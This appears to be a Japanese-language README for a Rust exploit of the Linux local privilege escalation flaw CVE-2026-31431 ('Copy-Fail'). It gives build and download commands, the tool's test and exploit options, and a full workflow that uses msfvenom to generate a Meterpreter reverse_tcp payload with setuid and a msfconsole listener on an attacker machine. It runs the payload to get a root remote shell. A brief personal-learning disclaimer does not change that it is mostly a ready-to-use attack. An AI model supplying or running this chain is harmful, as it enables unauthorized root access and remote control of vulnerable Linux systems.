
# CVE-2026-31431 向け Rust ベースのローカル権限昇格エクスプロイト。Linux システム上で Meterpreter などのカスタムシェルコードを実行可能にします。
CVE-2026-31431 (Copy-Fail) に対するローカル権限昇格エクスプロイトの Rust 実装です。
カスタマイズしたシェルコード(Meterpreter など)を実行できます。
Xint 氏は CVE-2026-31431 を公開しました。これは、AF_ALG と splice() を連鎖させて 4 バイト書き込みプリミティブを実現する、任意のページキャッシュ書き込みの脆弱性です。
ソース: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
このプロジェクトは、サイバーセキュリティを学ぶ個人的な興味の一環として開発されました。ただし、悪意のある目的に悪用される可能性があります。
このツールを違法行為に使用しないでください。
作者は、本ソフトウェアの誤用について一切の責任を負いません。
注: オリジナルの実装では圧縮・エンコードされたシェルコード(例:
/bin/sh)が使用されています。本実装では、これを生の(非圧縮の)/bin/bashシェルコードに置き換え、ユーザーが提供するペイロードに簡単にカスタマイズまたは直接置き換えられるようにしました。
プロジェクトをクローンし、build.sh を実行します:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
リリースパッケージをダウンロードして展開します:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
バイナリは以下のオプションを提供します:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
脆弱なマシン上で:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
以下のコマンド(PrependSetUid を True に設定)を使用して Meterpreter ペイロードを生成します:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
攻撃者マシン(Kali Linux)上で:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
脆弱なマシン上で:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin